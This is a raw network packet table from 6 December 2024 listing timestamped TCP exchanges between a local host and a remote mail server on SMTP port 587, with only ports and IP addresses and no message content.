Dec 6, 2024 10:00:09.556180000 CET	587	49720	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:09.559129000 CET	49720	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:09.639748096 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:09.641187906 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:10.885482073 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:10.885656118 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:11.006074905 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:11.318614006 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:11.318835974 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:11.438559055 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:11.751651049 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:11.752705097 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:11.872590065 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.186871052 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.186947107 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.186960936 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.186983109 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:12.187017918 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.187064886 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:12.189456940 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:12.309125900 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.621889114 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:12.623122931 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:12.742762089 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.001079082 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.051773071 CET	49722	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.056431055 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.059166908 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.121145010 CET	587	49721	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.123152018 CET	49721	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.171720982 CET	587	49722	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.175205946 CET	49722	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.264312983 CET	49722	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.333897114 CET	49723	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.384430885 CET	587	49722	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.387197018 CET	49722	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:13.453718901 CET	587	49723	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:13.455254078 CET	49723	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:14.292388916 CET	49723	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:14.412146091 CET	587	49723	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:14.412192106 CET	49723	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:14.527543068 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:14.647320986 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:14.647393942 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:16.006701946 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:16.006851912 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:16.126745939 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:16.459825993 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:16.459983110 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:16.579754114 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:16.920770884 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:16.931190014 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:17.050942898 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.397675991 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.397794008 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.397805929 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.397819042 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.397844076 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:17.397890091 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:17.399940968 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:17.519591093 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.853009939 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:17.854151011 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:17.973936081 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:18.307111025 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:18.307321072 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:18.427025080 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:18.760231972 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:18.760513067 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:18.880479097 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:19.275408030 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:19.275695086 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:19.395648956 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:19.749017000 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:19.754240990 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:19.874005079 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.386156082 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.386312008 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.505944014 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.838730097 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.839066029 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.839118958 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.839176893 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.839176893 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.840651989 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.958765030 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.958946943 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.958956957 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.958980083 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.959079027 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.960473061 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.960572958 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.960699081 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.960741997 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.960783005 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.960787058 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.960787058 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.960984945 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.960995913 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.961008072 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.961018085 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.961054087 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.961191893 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:20.961194038 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:20.961276054 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.078794956 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.078860044 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.078901052 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.078959942 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.080580950 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.080652952 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.080697060 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.080831051 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.080950022 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.081037045 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081082106 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081110954 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.081207991 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081327915 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.081446886 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081455946 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081583023 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.081621885 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.081875086 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.121637106 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.121779919 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.198806047 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200315952 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200478077 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.200591087 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200726986 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200786114 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.200803995 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200908899 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.200931072 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.200993061 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201056004 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201137066 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.201143980 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201215982 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:21.201221943 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201283932 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201421976 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201437950 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201447964 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201582909 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201632977 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201740026 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201782942 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201792955 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201817989 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.201941013 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.202100039 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.202306032 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.202315092 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.202318907 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.202322960 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.241565943 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.241636038 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321472883 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321579933 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321589947 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321645021 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321732044 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.321970940 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322115898 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322127104 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322134972 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322680950 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322843075 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322853088 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.322861910 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.323029041 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.323890924 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.323904037 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.323966026 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:21.323976994 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:22.595523119 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:22.748811960 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:01.566589117 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:01.686501980 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:02.019490957 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:02.019531012 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:02.019581079 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:02.019886971 CET	49724	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:02.020750999 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:02.139703989 CET	587	49724	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:02.140412092 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:02.140507936 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:03.400199890 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:03.400387049 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:03.520390987 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:03.844084024 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:03.844413042 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:03.964165926 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.287841082 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.288291931 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:04.408070087 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.732866049 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.732953072 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.732965946 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.733072996 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:04.733084917 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:04.733202934 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:04.734947920 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:04.854625940 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:05.178287029 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:05.181607008 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:05.301333904 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:05.624931097 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:05.625181913 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:05.745207071 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.068725109 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.070627928 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:06.190346956 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.526946068 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.527332067 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:06.646991014 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.979279995 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:06.979671001 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.099347115 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:07.522362947 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:07.526499033 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.646258116 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:07.971251011 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:07.971715927 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.971800089 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.971800089 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.971908092 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:07.976744890 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.091706038 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.091722965 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.091732979 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.091748953 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.091799974 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.091833115 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096752882 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096795082 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096805096 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096833944 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096864939 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096878052 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096888065 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096919060 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096932888 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096934080 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096956968 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.096986055 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.096998930 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.097089052 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.097136021 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.097141027 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.097182989 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.211639881 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.211695910 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.211776972 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.211848974 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.216733932 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.216782093 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.216876984 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.216924906 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217041016 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217075109 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217087030 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217152119 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217247963 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217284918 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217381954 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217422009 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217528105 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217571020 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.217626095 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.217680931 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.225824118 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.225878954 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.332108974 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.332173109 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.332181931 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.332248926 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.336815119 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.336860895 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.336925983 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.336936951 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.336971045 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:08.336999893 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337207079 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337260008 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337395906 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337445974 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337560892 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337631941 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337682009 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337726116 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337796926 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337888002 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.337984085 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.338027000 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.338082075 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.338116884 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.338171005 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.338213921 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.346923113 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.346936941 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.347028971 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.347040892 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.347220898 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.347244024 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.451899052 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452011108 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452044964 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452124119 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452241898 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452251911 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452261925 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.452271938 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456667900 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456679106 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456779957 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456789017 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456830978 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456918001 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456927061 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:08.456938982 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:09.238396883 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:09.282778978 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:17.989655018 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:18.109378099 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:18.433146954 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:18.433458090 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:18.433526993 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:18.433701038 CET	49725	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:18.434725046 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:18.553493977 CET	587	49725	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:18.554444075 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:18.554523945 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:19.813443899 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:19.813644886 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:19.933366060 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:20.253623009 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:20.253770113 CET	49726	587	192.168.2.8	77.88.21.158
